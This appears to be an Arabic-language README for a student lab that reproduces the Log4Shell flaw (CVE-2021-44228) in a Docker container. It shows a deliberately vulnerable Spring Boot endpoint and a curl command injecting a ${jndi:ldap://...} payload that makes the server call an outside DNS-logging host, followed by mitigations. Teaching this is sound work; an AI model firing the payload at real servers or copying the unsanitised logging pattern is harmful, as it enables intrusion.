
دراسة تقنية وإنشاء بيئة اختبار لثغرة Apache Log4j (CVE-2021-44228). تتضمن إثباتَ مفهوم (PoC) معبأً في حاوية Docker ومقترحًا لتحديث PSSI. لتحقيق هدف أعمال تطبيقية.
هذا المشروع هو بيئة اختبار مُتحكَم بها تتيح إعادة إنتاج وفهم الثغرة الحرجة Log4Shell (CVE-2021-44228) التي تؤثر على مكتبة Apache Log4j.
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
إظهار كيف يمكن للمهاجم استغلال الثغرة CVE-2021-44228 لإجبار الخادم على إجراء اتصال شبكة صادر غير مصرح به، بمجرد إرسال سلسلة أحرف خبيثة.
pom.xml)يفرض ملف pom.xml استخدام Log4j 2.14.1، وهو إصدار أقدم من التصحيح الأمني:
<log4j2.version>2.14.1</log4j2.version>
يحتوي هذا الإصدار على الفئة JndiLookup المفعّلة افتراضيًا، وهي جذر المشكلة.
VulnerableApplication.java)يكشف التطبيق عن خدمة ويب REST. تكمن الثغرة في الدالة index:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
المشكلة: يسترجع التطبيق معامل مستخدم (input) ويمرّره مباشرة إلى logger.info() بدون أي تصفية. يقوم Log4j عندئذٍ بتفسير المحتوى كأمر محتمل.
Dockerfile)يستخدم Dockerfile بناءً من مرحلتين:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 استخدام Java 11 مهم لأن الإصدارات الأحدث تقيّد افتراضيًا تحميل الفئات البعيدة.
يعتمد الاستغلال على حقن JNDI (Java Naming and Directory Interface):
${jndi:protocole://url} في السجلاتتأكد من أن الملفات التالية موجودة في نفس المجلد:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
يقوم هذا الأمر بتنزيل تبعيات Maven (Log4j 2.14.1) وإنشاء الصورة.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
يستمع التطبيق الآن على المنفذ 8080.
انتقل إلى خدمة تسجيل DNS:
انسخ العنوان المقدم (مثل: mon-test.dnslog.cn)
في محطة طرفية جديدة، نفّذ الأمر التالي:
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 ملاحظة: يخدم الحرف
\لإفلات الرمز$في المحطة الطرفية.
عُد إلى موقع dnslog. ستلاحظ ظهور طلب DNS، مما يؤكد أن الخادم نفّذ الكود المُحقن.
قام الخادم بإجراء اتصال صادر نحو جهاز خارجي بمجرد تسجيل طلب مستخدم.
في سيناريو حقيقي، كان يمكن لهذا الاتصال أن يتيح:
لتصحيح هذه الثغرة:
-Dlog4j2.formatMsgNoLookups=trueهذا المشروع مُقدَّم لأغراض تعليمية فقط. استخدمه بطريقة مسؤولة وأخلاقية.
| الخطوة | الإجراء |
|---|
| 1 | يستقبل تطبيق Java طلب HTTP |
| 2 | يعالج سطر logger.info(...) المعامل input |
| 3 | يكتشف Log4j الصيغة ${jndi:...} |
| 4 | ينفذ Log4j تحليل LDAP نحو الخادم البعيد |
| 5 | يظهر طلب DNS على واجهة DNSLog |